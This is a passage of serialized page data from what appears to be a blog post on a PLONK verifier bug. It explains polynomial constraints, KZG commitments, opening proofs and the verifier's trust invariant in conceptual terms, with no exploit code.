":144468},{"className":144467},[23240],[144469],{"type":31,"value":23243},{"type":25,"tag":201,"props":144471,"children":144473},{"className":144472},[5539],[144474],{"type":25,"tag":201,"props":144475,"children":144477},{"className":144476,"style":94214},[5544],[144478],{"type":25,"tag":201,"props":144479,"children":144480},{},[],{"type":25,"tag":201,"props":144482,"children":144484},{"className":144483},[23212],[144485],{"type":31,"value":298},{"type":25,"tag":201,"props":144487,"children":144489},{"className":144488},[5513,23083],[144490],{"type":31,"value":1606},{"type":25,"tag":201,"props":144492,"children":144494},{"className":144493},[23234],[144495],{"type":31,"value":3073},{"type":31,"value":144497}," at the ",{"type":25,"tag":115,"props":144499,"children":144501},{"className":144500},[5485,5486],[144502],{"type":25,"tag":201,"props":144503,"children":144505},{"className":144504},[5491],[144506],{"type":25,"tag":201,"props":144507,"children":144509},{"className":144508,"ariaHidden":5497},[5496],[144510],{"type":25,"tag":201,"props":144511,"children":144513},{"className":144512},[5502],[144514,144518],{"type":25,"tag":201,"props":144515,"children":144517},{"className":144516,"style":143382},[5507],[],{"type":25,"tag":201,"props":144519,"children":144521},{"className":144520},[5513,23083],[144522],{"type":31,"value":3641},{"type":31,"value":144524},"-th root recovers the left wire value at row ",{"type":25,"tag":115,"props":144526,"children":144528},{"className":144527},[5485,5486],[144529],{"type":25,"tag":201,"props":144530,"children":144532},{"className":144531},[5491],[144533],{"type":25,"tag":201,"props":144534,"children":144536},{"className":144535,"ariaHidden":5497},[5496],[144537],{"type":25,"tag":201,"props":144538,"children":144540},{"className":144539},[5502],[144541,144545],{"type":25,"tag":201,"props":144542,"children":144544},{"className":144543,"style":143382},[5507],[],{"type":25,"tag":201,"props":144546,"children":144548},{"className":144547},[5513,23083],[144549],{"type":31,"value":3641},{"type":31,"value":80},{"type":25,"tag":144552,"props":144553,"children":144554},"polynomial-interpolation-panel",{},[],{"type":25,"tag":34,"props":144556,"children":144557},{},[144558,144560,144600,144602,144668,144670,144800,144802,144842,144844,144884,144886,144926,144927,145049],{"type":31,"value":144559},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":25,"tag":115,"props":144561,"children":144563},{"className":144562},[5485,5486],[144564],{"type":25,"tag":201,"props":144565,"children":144567},{"className":144566},[5491],[144568],{"type":25,"tag":201,"props":144569,"children":144571},{"className":144570,"ariaHidden":5497},[5496],[144572],{"type":25,"tag":201,"props":144573,"children":144575},{"className":144574},[5502],[144576,144580,144585,144590,144595],{"type":25,"tag":201,"props":144577,"children":144579},{"className":144578,"style":5614},[5507],[],{"type":25,"tag":201,"props":144581,"children":144583},{"className":144582,"style":23084},[5513,23083],[144584],{"type":31,"value":122909},{"type":25,"tag":201,"props":144586,"children":144588},{"className":144587},[23212],[144589],{"type":31,"value":298},{"type":25,"tag":201,"props":144591,"children":144593},{"className":144592},[5513,23083],[144594],{"type":31,"value":1606},{"type":25,"tag":201,"props":144596,"children":144598},{"className":144597},[23234],[144599],{"type":31,"value":3073},{"type":31,"value":144601}," that combines selectors and witnesses. If the prover was honest, ",{"type":25,"tag":115,"props":144603,"children":144605},{"className":144604},[5485,5486],[144606],{"type":25,"tag":201,"props":144607,"children":144609},{"className":144608},[5491],[144610],{"type":25,"tag":201,"props":144611,"children":144613},{"className":144612,"ariaHidden":5497},[5496],[144614,144655],{"type":25,"tag":201,"props":144615,"children":144617},{"className":144616},[5502],[144618,144622,144627,144632,144637,144642,144646,144651],{"type":25,"tag":201,"props":144619,"children":144621},{"className":144620,"style":5614},[5507],[],{"type":25,"tag":201,"props":144623,"children":144625},{"className":144624,"style":23084},[5513,23083],[144626],{"type":31,"value":122909},{"type":25,"tag":201,"props":144628,"children":144630},{"className":144629},[23212],[144631],{"type":31,"value":298},{"type":25,"tag":201,"props":144633,"children":144635},{"className":144634},[5513,23083],[144636],{"type":31,"value":1606},{"type":25,"tag":201,"props":144638,"children":144640},{"className":144639},[23234],[144641],{"type":31,"value":3073},{"type":25,"tag":201,"props":144643,"children":144645},{"className":144644,"style":5691},[5593],[],{"type":25,"tag":201,"props":144647,"children":144649},{"className":144648},[5696],[144650],{"type":31,"value":1383},{"type":25,"tag":201,"props":144652,"children":144654},{"className":144653,"style":5691},[5593],[],{"type":25,"tag":201,"props":144656,"children":144658},{"className":144657},[5502],[144659,144663],{"type":25,"tag":201,"props":144660,"children":144662},{"className":144661,"style":95162},[5507],[],{"type":25,"tag":201,"props":144664,"children":144666},{"className":144665},[5513],[144667],{"type":31,"value":429},{"type":31,"value":144669}," at every row index in the domain. The vanishing polynomial ",{"type":25,"tag":115,"props":144671,"children":144673},{"className":144672},[5485,5486],[144674],{"type":25,"tag":201,"props":144675,"children":144677},{"className":144676},[5491],[144678],{"type":25,"tag":201,"props":144679,"children":144681},{"className":144680,"ariaHidden":5497},[5496],[144682,144724,144787],{"type":25,"tag":201,"props":144683,"children":144685},{"className":144684},[5502],[144686,144690,144696,144701,144706,144711,144715,144720],{"type":25,"tag":201,"props":144687,"children":144689},{"className":144688,"style":5614},[5507],[],{"type":25,"tag":201,"props":144691,"children":144693},{"className":144692,"style":23615},[5513,23083],[144694],{"type":31,"value":144695},"Z",{"type":25,"tag":201,"props":144697,"children":144699},{"className":144698},[23212],[144700],{"type":31,"value":298},{"type":25,"tag":201,"props":144702,"children":144704},{"className":144703},[5513,23083],[144705],{"type":31,"value":1606},{"type":25,"tag":201,"props":144707,"children":144709},{"className":144708},[23234],[144710],{"type":31,"value":3073},{"type":25,"tag":201,"props":144712,"children":144714},{"className":144713,"style":5691},[5593],[],{"type":25,"tag":201,"props":144716,"children":144718},{"className":144717},[5696],[144719],{"type":31,"value":1383},{"type":25,"tag":201,"props":144721,"children":144723},{"className":144722,"style":5691},[5593],[],{"type":25,"tag":201,"props":144725,"children":144727},{"className":144726},[5502],[144728,144733,144774,144778,144783],{"type":25,"tag":201,"props":144729,"children":144732},{"className":144730,"style":144731},[5507],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":25,"tag":201,"props":144734,"children":144736},{"className":144735},[5513],[144737,144742],{"type":25,"tag":201,"props":144738,"children":144740},{"className":144739},[5513,23083],[144741],{"type":31,"value":1606},{"type":25,"tag":201,"props":144743,"children":144745},{"className":144744},[5529],[144746],{"type":25,"tag":201,"props":144747,"children":144749},{"className":144748},[5534],[144750],{"type":25,"tag":201,"props":144751,"children":144753},{"className":144752},[5539],[144754],{"type":25,"tag":201,"props":144755,"children":144757},{"className":144756,"style":109848},[5544],[144758],{"type":25,"tag":201,"props":144759,"children":144760},{"style":5548},[144761,144765],{"type":25,"tag":201,"props":144762,"children":144764},{"className":144763,"style":5554},[5553],[],{"type":25,"tag":201,"props":144766,"children":144768},{"className":144767},[5559,5560,5561,5562],[144769],{"type":25,"tag":201,"props":144770,"children":144772},{"className":144771},[5513,23083,5562],[144773],{"type":31,"value":57482},{"type":25,"tag":201,"props":144775,"children":144777},{"className":144776,"style":5594},[5593],[],{"type":25,"tag":201,"props":144779,"children":144781},{"className":144780},[5599],[144782],{"type":31,"value":5573},{"type":25,"tag":201,"props":144784,"children":144786},{"className":144785,"style":5594},[5593],[],{"type":25,"tag":201,"props":144788,"children":144790},{"className":144789},[5502],[144791,144795],{"type":25,"tag":201,"props":144792,"children":144794},{"className":144793,"style":95162},[5507],[],{"type":25,"tag":201,"props":144796,"children":144798},{"className":144797},[5513],[144799],{"type":31,"value":5516},{"type":31,"value":144801}," is zero on exactly those points, so if all constraints hold then ",{"type":25,"tag":115,"props":144803,"children":144805},{"className":144804},[5485,5486],[144806],{"type":25,"tag":201,"props":144807,"children":144809},{"className":144808},[5491],[144810],{"type":25,"tag":201,"props":144811,"children":144813},{"className":144812,"ariaHidden":5497},[5496],[144814],{"type":25,"tag":201,"props":144815,"children":144817},{"className":144816},[5502],[144818,144822,144827,144832,144837],{"type":25,"tag":201,"props":144819,"children":144821},{"className":144820,"style":5614},[5507],[],{"type":25,"tag":201,"props":144823,"children":144825},{"className":144824,"style":23615},[5513,23083],[144826],{"type":31,"value":144695},{"type":25,"tag":201,"props":144828,"children":144830},{"className":144829},[23212],[144831],{"type":31,"value":298},{"type":25,"tag":201,"props":144833,"children":144835},{"className":144834},[5513,23083],[144836],{"type":31,"value":1606},{"type":25,"tag":201,"props":144838,"children":144840},{"className":144839},[23234],[144841],{"type":31,"value":3073},{"type":31,"value":144843}," divides ",{"type":25,"tag":115,"props":144845,"children":144847},{"className":144846},[5485,5486],[144848],{"type":25,"tag":201,"props":144849,"children":144851},{"className":144850},[5491],[144852],{"type":25,"tag":201,"props":144853,"children":144855},{"className":144854,"ariaHidden":5497},[5496],[144856],{"type":25,"tag":201,"props":144857,"children":144859},{"className":144858},[5502],[144860,144864,144869,144874,144879],{"type":25,"tag":201,"props":144861,"children":144863},{"className":144862,"style":5614},[5507],[],{"type":25,"tag":201,"props":144865,"children":144867},{"className":144866,"style":23084},[5513,23083],[144868],{"type":31,"value":122909},{"type":25,"tag":201,"props":144870,"children":144872},{"className":144871},[23212],[144873],{"type":31,"value":298},{"type":25,"tag":201,"props":144875,"children":144877},{"className":144876},[5513,23083],[144878],{"type":31,"value":1606},{"type":25,"tag":201,"props":144880,"children":144882},{"className":144881},[23234],[144883],{"type":31,"value":3073},{"type":31,"value":144885},", yielding a quotient polynomial ",{"type":25,"tag":115,"props":144887,"children":144889},{"className":144888},[5485,5486],[144890],{"type":25,"tag":201,"props":144891,"children":144893},{"className":144892},[5491],[144894],{"type":25,"tag":201,"props":144895,"children":144897},{"className":144896,"ariaHidden":5497},[5496],[144898],{"type":25,"tag":201,"props":144899,"children":144901},{"className":144900},[5502],[144902,144906,144911,144916,144921],{"type":25,"tag":201,"props":144903,"children":144905},{"className":144904,"style":5614},[5507],[],{"type":25,"tag":201,"props":144907,"children":144909},{"className":144908,"style":23084},[5513,23083],[144910],{"type":31,"value":7496},{"type":25,"tag":201,"props":144912,"children":144914},{"className":144913},[23212],[144915],{"type":31,"value":298},{"type":25,"tag":201,"props":144917,"children":144919},{"className":144918},[5513,23083],[144920],{"type":31,"value":1606},{"type":25,"tag":201,"props":144922,"children":144924},{"className":144923},[23234],[144925],{"type":31,"value":3073},{"type":31,"value":22999},{"type":25,"tag":115,"props":144928,"children":144930},{"className":144929},[5485,5486],[144931],{"type":25,"tag":201,"props":144932,"children":144934},{"className":144933},[5491],[144935],{"type":25,"tag":201,"props":144936,"children":144938},{"className":144937,"ariaHidden":5497},[5496],[144939,144980,145021],{"type":25,"tag":201,"props":144940,"children":144942},{"className":144941},[5502],[144943,144947,144952,144957,144962,144967,144971,144976],{"type":25,"tag":201,"props":144944,"children":144946},{"className":144945,"style":5614},[5507],[],{"type":25,"tag":201,"props":144948,"children":144950},{"className":144949,"style":23084},[5513,23083],[144951],{"type":31,"value":122909},{"type":25,"tag":201,"props":144953,"children":144955},{"className":144954},[23212],[144956],{"type":31,"value":298},{"type":25,"tag":201,"props":144958,"children":144960},{"className":144959},[5513,23083],[144961],{"type":31,"value":1606},{"type":25,"tag":201,"props":144963,"children":144965},{"className":144964},[23234],[144966],{"type":31,"value":3073},{"type":25,"tag":201,"props":144968,"children":144970},{"className":144969,"style":5691},[5593],[],{"type":25,"tag":201,"props":144972,"children":144974},{"className":144973},[5696],[144975],{"type":31,"value":1383},{"type":25,"tag":201,"props":144977,"children":144979},{"className":144978,"style":5691},[5593],[],{"type":25,"tag":201,"props":144981,"children":144983},{"className":144982},[5502],[144984,144988,144993,144998,145003,145008,145012,145017],{"type":25,"tag":201,"props":144985,"children":144987},{"className":144986,"style":5614},[5507],[],{"type":25,"tag":201,"props":144989,"children":144991},{"className":144990,"style":23084},[5513,23083],[144992],{"type":31,"value":7496},{"type":25,"tag":201,"props":144994,"children":144996},{"className":144995},[23212],[144997],{"type":31,"value":298},{"type":25,"tag":201,"props":144999,"children":145001},{"className":145000},[5513,23083],[145002],{"type":31,"value":1606},{"type":25,"tag":201,"props":145004,"children":145006},{"className":145005},[23234],[145007],{"type":31,"value":3073},{"type":25,"tag":201,"props":145009,"children":145011},{"className":145010,"style":5594},[5593],[],{"type":25,"tag":201,"props":145013,"children":145015},{"className":145014},[5599],[145016],{"type":31,"value":112393},{"type":25,"tag":201,"props":145018,"children":145020},{"className":145019,"style":5594},[5593],[],{"type":25,"tag":201,"props":145022,"children":145024},{"className":145023},[5502],[145025,145029,145034,145039,145044],{"type":25,"tag":201,"props":145026,"children":145028},{"className":145027,"style":5614},[5507],[],{"type":25,"tag":201,"props":145030,"children":145032},{"className":145031,"style":23615},[5513,23083],[145033],{"type":31,"value":144695},{"type":25,"tag":201,"props":145035,"children":145037},{"className":145036},[23212],[145038],{"type":31,"value":298},{"type":25,"tag":201,"props":145040,"children":145042},{"className":145041},[5513,23083],[145043],{"type":31,"value":1606},{"type":25,"tag":201,"props":145045,"children":145047},{"className":145046},[23234],[145048],{"type":31,"value":3073},{"type":31,"value":80},{"type":25,"tag":34,"props":145051,"children":145052},{},[145053],{"type":25,"tag":127,"props":145054,"children":145057},{"alt":145055,"src":145056},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":25,"tag":40,"props":145059,"children":145061},{"id":145060},"polynomial-commitments-and-opening-proofs",[145062],{"type":31,"value":145063},"Polynomial commitments and opening proofs",{"type":25,"tag":34,"props":145065,"children":145066},{},[145067,145069,145074,145076,145081],{"type":31,"value":145068},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":25,"tag":65,"props":145070,"children":145071},{},[145072],{"type":31,"value":145073},"commitments",{"type":31,"value":145075},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":25,"tag":65,"props":145077,"children":145078},{},[145079],{"type":31,"value":145080},"opening proof",{"type":31,"value":145082}," that the claimed value is consistent with the earlier commitment.",{"type":25,"tag":34,"props":145084,"children":145085},{},[145086],{"type":31,"value":145087},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":25,"tag":40,"props":145089,"children":145091},{"id":145090},"reducing-to-a-single-random-point",[145092],{"type":31,"value":145093},"Reducing to a single random point",{"type":25,"tag":34,"props":145095,"children":145096},{},[145097,145099,145139,145141,145166,145168,145290,145292,145317],{"type":31,"value":145098},"After the prover commits to all polynomials, including ",{"type":25,"tag":115,"props":145100,"children":145102},{"className":145101},[5485,5486],[145103],{"type":25,"tag":201,"props":145104,"children":145106},{"className":145105},[5491],[145107],{"type":25,"tag":201,"props":145108,"children":145110},{"className":145109,"ariaHidden":5497},[5496],[145111],{"type":25,"tag":201,"props":145112,"children":145114},{"className":145113},[5502],[145115,145119,145124,145129,145134],{"type":25,"tag":201,"props":145116,"children":145118},{"className":145117,"style":5614},[5507],[],{"type":25,"tag":201,"props":145120,"children":145122},{"className":145121,"style":23084},[5513,23083],[145123],{"type":31,"value":7496},{"type":25,"tag":201,"props":145125,"children":145127},{"className":145126},[23212],[145128],{"type":31,"value":298},{"type":25,"tag":201,"props":145130,"children":145132},{"className":145131},[5513,23083],[145133],{"type":31,"value":1606},{"type":25,"tag":201,"props":145135,"children":145137},{"className":145136},[23234],[145138],{"type":31,"value":3073},{"type":31,"value":145140},", the verifier picks a random challenge point ",{"type":25,"tag":115,"props":145142,"children":145144},{"className":145143},[5485,5486],[145145],{"type":25,"tag":201,"props":145146,"children":145148},{"className":145147},[5491],[145149],{"type":25,"tag":201,"props":145150,"children":145152},{"className":145151,"ariaHidden":5497},[5496],[145153],{"type":25,"tag":201,"props":145154,"children":145156},{"className":145155},[5502],[145157,145161],{"type":25,"tag":201,"props":145158,"children":145160},{"className":145159,"style":111972},[5507],[],{"type":25,"tag":201,"props":145162,"children":145164},{"className":145163,"style":114688},[5513,23083],[145165],{"type":31,"value":114691},{"type":31,"value":145167}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":25,"tag":115,"props":145169,"children":145171},{"className":145170},[5485,5486],[145172],{"type":25,"tag":201,"props":145173,"children":145175},{"className":145174},[5491],[145176],{"type":25,"tag":201,"props":145177,"children":145179},{"className":145178,"ariaHidden":5497},[5496],[145180,145221,145262],{"type":25,"tag":201,"props":145181,"children":145183},{"className":145182},[5502],[145184,145188,145193,145198,145203,145208,145212,145217],{"type":25,"tag":201,"props":145185,"children":145187},{"className":145186,"style":5614},[5507],[],{"type":25,"tag":201,"props":145189,"children":145191},{"className":145190,"style":23084},[5513,23083],[145192],{"type":31,"value":122909},{"type":25,"tag":201,"props":145194,"children":145196},{"className":145195},[23212],[145197],{"type":31,"value":298},{"type":25,"tag":201,"props":145199,"children":145201},{"className":145200,"style":114688},[5513,23083],[145202],{"type":31,"value":114691},{"type":25,"tag":201,"props":145204,"children":145206},{"className":145205},[23234],[145207],{"type":31,"value":3073},{"type":25,"tag":201,"props":145209,"children":145211},{"className":145210,"style":5691},[5593],[],{"type":25,"tag":201,"props":145213,"children":145215},{"className":145214},[5696],[145216],{"type":31,"value":1383},{"type":25,"tag":201,"props":145218,"children":145220},{"className":145219,"style":5691},[5593],[],{"type":25,"tag":201,"props":145222,"children":145224},{"className":145223},[5502],[145225,145229,145234,145239,145244,145249,145253,145258],{"type":25,"tag":201,"props":145226,"children":145228},{"className":145227,"style":5614},[5507],[],{"type":25,"tag":201,"props":145230,"children":145232},{"className":145231,"style":23084},[5513,23083],[145233],{"type":31,"value":7496},{"type":25,"tag":201,"props":145235,"children":145237},{"className":145236},[23212],[145238],{"type":31,"value":298},{"type":25,"tag":201,"props":145240,"children":145242},{"className":145241,"style":114688},[5513,23083],[145243],{"type":31,"value":114691},{"type":25,"tag":201,"props":145245,"children":145247},{"className":145246},[23234],[145248],{"type":31,"value":3073},{"type":25,"tag":201,"props":145250,"children":145252},{"className":145251,"style":5594},[5593],[],{"type":25,"tag":201,"props":145254,"children":145256},{"className":145255},[5599],[145257],{"type":31,"value":112393},{"type":25,"tag":201,"props":145259,"children":145261},{"className":145260,"style":5594},[5593],[],{"type":25,"tag":201,"props":145263,"children":145265},{"className":145264},[5502],[145266,145270,145275,145280,145285],{"type":25,"tag":201,"props":145267,"children":145269},{"className":145268,"style":5614},[5507],[],{"type":25,"tag":201,"props":145271,"children":145273},{"className":145272,"style":23615},[5513,23083],[145274],{"type":31,"value":144695},{"type":25,"tag":201,"props":145276,"children":145278},{"className":145277},[23212],[145279],{"type":31,"value":298},{"type":25,"tag":201,"props":145281,"children":145283},{"className":145282,"style":114688},[5513,23083],[145284],{"type":31,"value":114691},{"type":25,"tag":201,"props":145286,"children":145288},{"className":145287},[23234],[145289],{"type":31,"value":3073},{"type":31,"value":145291}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":25,"tag":115,"props":145293,"children":145295},{"className":145294},[5485,5486],[145296],{"type":25,"tag":201,"props":145297,"children":145299},{"className":145298},[5491],[145300],{"type":25,"tag":201,"props":145301,"children":145303},{"className":145302,"ariaHidden":5497},[5496],[145304],{"type":25,"tag":201,"props":145305,"children":145307},{"className":145306},[5502],[145308,145312],{"type":25,"tag":201,"props":145309,"children":145311},{"className":145310,"style":111972},[5507],[],{"type":25,"tag":201,"props":145313,"children":145315},{"className":145314,"style":114688},[5513,23083],[145316],{"type":31,"value":114691},{"type":31,"value":145318}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":25,"tag":34,"props":145320,"children":145321},{},[145322,145324,145349,145351,145356],{"type":31,"value":145323},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":25,"tag":115,"props":145325,"children":145327},{"className":145326},[5485,5486],[145328],{"type":25,"tag":201,"props":145329,"children":145331},{"className":145330},[5491],[145332],{"type":25,"tag":201,"props":145333,"children":145335},{"className":145334,"ariaHidden":5497},[5496],[145336],{"type":25,"tag":201,"props":145337,"children":145339},{"className":145338},[5502],[145340,145344],{"type":25,"tag":201,"props":145341,"children":145343},{"className":145342,"style":111972},[5507],[],{"type":25,"tag":201,"props":145345,"children":145347},{"className":145346,"style":114688},[5513,23083],[145348],{"type":31,"value":114691},{"type":31,"value":145350},", the prover supplies ",{"type":25,"tag":65,"props":145352,"children":145353},{},[145354],{"type":31,"value":145355},"evaluation claims",{"type":31,"value":145357}," that must be checked against those commitments with opening proofs.",{"type":25,"tag":34,"props":145359,"children":145360},{},[145361,145363,145367],{"type":31,"value":145362},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":25,"tag":65,"props":145364,"children":145365},{},[145366],{"type":31,"value":105675},{"type":31,"value":145368}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":25,"tag":40,"props":145370,"children":145372},{"id":145371},"what-the-verifier-is-actually-allowed-to-trust",[145373],{"type":31,"value":145374},"What the verifier is actually allowed to trust",{"type":25,"tag":34,"props":145376,"children":145377},{},[145378,145380,145385],{"type":31,"value":145379},"For this bug, one invariant matters more than the rest: ",{"type":25,"tag":1252,"props":145381,"children":145382},{},[145383],{"type":31,"value":145384},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":31,"value":80},{"type":25,"tag":34,"props":145387,"children":145388},{},[145389,145391,145483,145484,145576,145578,145603,145605,145645,145646,145686,145687,145780,145781,145827,145829,145916,145917,146004,146005,146092],{"type":31,"value":145390},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":25,"tag":115,"props":145392,"children":145394},{"className":145393},[5485,5486],[145395],{"type":25,"tag":201,"props":145396,"children":145398},{"className":145397},[5491],[145399],{"type":25,"tag":201,"props":145400,"children":145402},{"className":145401,"ariaHidden":5497},[5496],[145403],{"type":25,"tag":201,"props":145404,"children":145406},{"className":145405},[5502],[145407,145411,145468,145473,145478],{"type":25,"tag":201,"props":145408,"children":145410},{"className":145409,"style":5614},[5507],[],{"type":25,"tag":201,"props":145412,"children":145414},{"className":145413},[5513],[145415,145420],{"type":25,"tag":201,"props":145416,"children":145418},{"className":145417,"style":23615},[5513,23083],[145419],{"type":31,"value":144695},{"type":25,"tag":201,"props":145421,"children":145423},{"className":145422},[5529],[145424],{"type":25,"tag":201,"props":145425,"children":145427},{"className":145426},[5534,23137],[145428,145457],{"type":25,"tag":201,"props":145429,"children":145431},{"className":145430},[5539],[145432,145452],{"type":25,"tag":201,"props":145433,"children":145435},{"className":145434,"style":143686},[5544],[145436],{"type":25,"tag":201,"props":145437,"children":145438},{"style":117380},[145439,145443],{"type":25,"tag":201,"props":145440,"children":145442},{"className":145441,"style":5554},[5553],[],{"type":25,"tag":201,"props":145444,"children":145446},{"className":145445},[5559,5560,5561,5562],[145447],{"type":25,"tag":201,"props":145448,"children":145450},{"className":145449,"style":94365},[5513,23083,5562],[145451],{"type":31,"value":94368},{"type":25,"tag":201,"props":145453,"children":145455},{"className":145454},[23240],[145456],{"type":31,"value":23243},{"type":25,"tag":201,"props":145458,"children":145460},{"className":145459},[5539],[145461],{"type":25,"tag":201,"props":145462,"children":145464},{"className":145463,"style":94214},[5544],[145465],{"type":25,"tag":201,"props":145466,"children":145467},{},[],{"type":25,"tag":201,"props":145469,"children":145471},{"className":145470},[23212],[145472],{"type":31,"value":298},{"type":25,"tag":201,"props":145474,"children":145476},{"className":145475,"style":114688},[5513,23083],[145477],{"type":31,"value":114691},{"type":25,"tag":201,"props":145479,"children":145481},{"className":145480},[23234],[145482],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":145485,"children":145487},{"className":145486},[5485,5486],[145488],{"type":25,"tag":201,"props":145489,"children":145491},{"className":145490},[5491],[145492],{"type":25,"tag":201,"props":145493,"children":145495},{"className":145494,"ariaHidden":5497},[5496],[145496],{"type":25,"tag":201,"props":145497,"children":145499},{"className":145498},[5502],[145500,145504,145561,145566,145571],{"type":25,"tag":201,"props":145501,"children":145503},{"className":145502,"style":5614},[5507],[],{"type":25,"tag":201,"props":145505,"children":145507},{"className":145506},[5513],[145508,145513],{"type":25,"tag":201,"props":145509,"children":145511},{"className":145510},[5513,23083],[145512],{"type":31,"value":119095},{"type":25,"tag":201,"props":145514,"children":145516},{"className":145515},[5529],[145517],{"type":25,"tag":201,"props":145518,"children":145520},{"className":145519},[5534,23137],[145521,145550],{"type":25,"tag":201,"props":145522,"children":145524},{"className":145523},[5539],[145525,145545],{"type":25,"tag":201,"props":145526,"children":145528},{"className":145527,"style":94183},[5544],[145529],{"type":25,"tag":201,"props":145530,"children":145531},{"style":94187},[145532,145536],{"type":25,"tag":201,"props":145533,"children":145535},{"className":145534,"style":5554},[5553],[],{"type":25,"tag":201,"props":145537,"children":145539},{"className":145538},[5559,5560,5561,5562],[145540],{"type":25,"tag":201,"props":145541,"children":145543},{"className":145542},[5513,5562],[145544],{"type":31,"value":5516},{"type":25,"tag":201,"props":145546,"children":145548},{"className":145547},[23240],[145549],{"type":31,"value":23243},{"type":25,"tag":201,"props":145551,"children":145553},{"className":145552},[5539],[145554],{"type":25,"tag":201,"props":145555,"children":145557},{"className":145556,"style":94214},[5544],[145558],{"type":25,"tag":201,"props":145559,"children":145560},{},[],{"type":25,"tag":201,"props":145562,"children":145564},{"className":145563},[23212],[145565],{"type":31,"value":298},{"type":25,"tag":201,"props":145567,"children":145569},{"className":145568,"style":114688},[5513,23083],[145570],{"type":31,"value":114691},{"type":25,"tag":201,"props":145572,"children":145574},{"className":145573},[23234],[145575],{"type":31,"value":3073},{"type":31,"value":145577},", the public-input polynomial at ",{"type":25,"tag":115,"props":145579,"children":145581},{"className":145580},[5485,5486],[145582],{"type":25,"tag":201,"props":145583,"children":145585},{"className":145584},[5491],[145586],{"type":25,"tag":201,"props":145587,"children":145589},{"className":145588,"ariaHidden":5497},[5496],[145590],{"type":25,"tag":201,"props":145591,"children":145593},{"className":145592},[5502],[145594,145598],{"type":25,"tag":201,"props":145595,"children":145597},{"className":145596,"style":111972},[5507],[],{"type":25,"tag":201,"props":145599,"children":145601},{"className":145600,"style":114688},[5513,23083],[145602],{"type":31,"value":114691},{"type":31,"value":145604},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":25,"tag":115,"props":145606,"children":145608},{"className":145607},[5485,5486],[145609],{"type":25,"tag":201,"props":145610,"children":145612},{"className":145611},[5491],[145613],{"type":25,"tag":201,"props":145614,"children":145616},{"className":145615,"ariaHidden":5497},[5496],[145617],{"type":25,"tag":201,"props":145618,"children":145620},{"className":145619},[5502],[145621,145625,145630,145635,145640],{"type":25,"tag":201,"props":145622,"children":145624},{"className":145623,"style":5614},[5507],[],{"type":25,"tag":201,"props":145626,"children":145628},{"className":145627},[5513,23083],[145629],{"type":31,"value":71},{"type":25,"tag":201,"props":145631,"children":145633},{"className":145632},[23212],[145634],{"type":31,"value":298},{"type":25,"tag":201,"props":145636,"children":145638},{"className":145637,"style":114688},[5513,23083],[145639],{"type":31,"value":114691},{"type":25,"tag":201,"props":145641,"children":145643},{"className":145642},[23234],[145644],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":145647,"children":145649},{"className":145648},[5485,5486],[145650],{"type":25,"tag":201,"props":145651,"children":145653},{"className":145652},[5491],[145654],{"type":25,"tag":201,"props":145655,"children":145657},{"className":145656,"ariaHidden":5497},[5496],[145658],{"type":25,"tag":201,"props":145659,"children":145661},{"className":145660},[5502],[145662,145666,145671,145676,145681],{"type":25,"tag":201,"props":145663,"children":145665},{"className":145664,"style":5614},[5507],[],{"type":25,"tag":201,"props":145667,"children":145669},{"className":145668},[5513,23083],[145670],{"type":31,"value":4729},{"type":25,"tag":201,"props":145672,"children":145674},{"className":145673},[23212],[145675],{"type":31,"value":298},{"type":25,"tag":201,"props":145677,"children":145679},{"className":145678,"style":114688},[5513,23083],[145680],{"type":31,"value":114691},{"type":25,"tag":201,"props":145682,"children":145684},{"className":145683},[23234],[145685],{"type":31,"value":3073},{"type":31,"value":919},{"type":25,"tag":115,"props":145688,"children":145690},{"className":145689},[5485,5486],[145691],{"type":25,"tag":201,"props":145692,"children":145694},{"className":145693},[5491],[145695],{"type":25,"tag":201,"props":145696,"children":145698},{"className":145697,"ariaHidden":5497},[5496],[145699],{"type":25,"tag":201,"props":145700,"children":145702},{"className":145701},[5502],[145703,145707,145765,145770,145775],{"type":25,"tag":201,"props":145704,"children":145706},{"className":145705,"style":5614},[5507],[],{"type":25,"tag":201,"props":145708,"children":145710},{"className":145709},[5513],[145711,145717],{"type":25,"tag":201,"props":145712,"children":145714},{"className":145713,"style":94617},[5513,23083],[145715],{"type":31,"value":145716},"σ",{"type":25,"tag":201,"props":145718,"children":145720},{"className":145719},[5529],[145721],{"type":25,"tag":201,"props":145722,"children":145724},{"className":145723},[5534,23137],[145725,145754],{"type":25,"tag":201,"props":145726,"children":145728},{"className":145727},[5539],[145729,145749],{"type":25,"tag":201,"props":145730,"children":145732},{"className":145731,"style":94183},[5544],[145733],{"type":25,"tag":201,"props":145734,"children":145735},{"style":94664},[145736,145740],{"type":25,"tag":201,"props":145737,"children":145739},{"className":145738,"style":5554},[5553],[],{"type":25,"tag":201,"props":145741,"children":145743},{"className":145742},[5559,5560,5561,5562],[145744],{"type":25,"tag":201,"props":145745,"children":145747},{"className":145746},[5513,5562],[145748],{"type":31,"value":5516},{"type":25,"tag":201,"props":145750,"children":145752},{"className":145751},[23240],[145753],{"type":31,"value":23243},{"type":25,"tag":201,"props":145755,"children":145757},{"className":145756},[5539],[145758],{"type":25,"tag":201,"props":145759,"children":145761},{"className":145760,"style":94214},[5544],[145762],{"type":25,"tag":201,"props":145763,"children":145764},{},[],{"type":25,"tag":201,"props":145766,"children":145768},{"className":145767},[23212],[145769],{"type":31,"value":